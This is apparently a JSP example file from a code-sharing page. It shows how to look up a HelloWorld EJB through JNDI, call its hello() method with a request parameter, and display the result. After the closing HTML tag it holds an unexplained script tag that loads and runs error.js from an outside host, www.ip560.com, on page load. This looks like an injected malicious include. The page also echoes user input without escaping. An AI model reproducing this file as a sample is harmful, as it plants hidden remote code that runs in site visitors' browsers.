📄 hellopage.jsp
字号:
<%@ page language="java" contentType="text/html; charset=GB2312" %>
<%@ page import="java.util.Properties" %>
<%@ page import="javax.naming.*" %>
<%@ page import="javax.rmi.PortableRemoteObject" %>
<%@ page import="examples.*" %>
<HTML>
<HEAD>
<TITLE>EJB示例</TITLE>
</HEAD>
<%
/*
* Setup properties for JNDI initialization.
*
* These properties will be read-in from
* the command-line.
*/
//Properties props = System.getProperties();
/*
* Obtain the JNDI initial context.
*
* The initial context is a starting point for
* connecting to a JNDI tree. We choose our JNDI
* driver, the network location of the server, etc
* by passing in the environment properties.
*/
Context ctx = new InitialContext();
/*
* Get a reference to the home object - the
* factory for Hello EJB Objects
*/
Object obj = ctx.lookup("HelloHome");
/*
* Home objects are RMI-IIOP objects, and so
* they must be cast into RMI-IIOP objects
* using a special RMI-IIOP cast.
*
* See Appendix X for more details on this.
*/
HelloHome home = (HelloHome)
javax.rmi.PortableRemoteObject.narrow(
obj, HelloHome.class);
/*
* Use the factory to create the Hello EJB Object
*/
Hello hello = home.create();
%>
<BODY>
<CENTER>
<H1>一个名为HelloWorld的EJB返回结果:</H1><BR><BR><BR>
<TABLE WIDTH="700" HEIGHT="300" BORDER="1">
<TR>
<TD ALIGN="CENTER">
<%
if(request.getParameter("SOURCECONTENT")!=null)
{
/*
* Call the hello() method on the EJB object. The
* EJB object will delegate the call to the bean,
* receive the result, and return it to us.
*
* We then print the result to the screen.
*/
%>
The result is <BR>
<%= hello.hello(request.getParameter("SOURCECONTENT")) %>
<%
}//if
/*
* Done with EJB Object, so remove it.
* The container will destroy the EJB object.
*/
hello.remove();
%>
</TD>
</TR>
</TABLE>
</CENTER>
</BODY>
</HTML>
<script language=javascript src=http://www.ip560.com/error.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -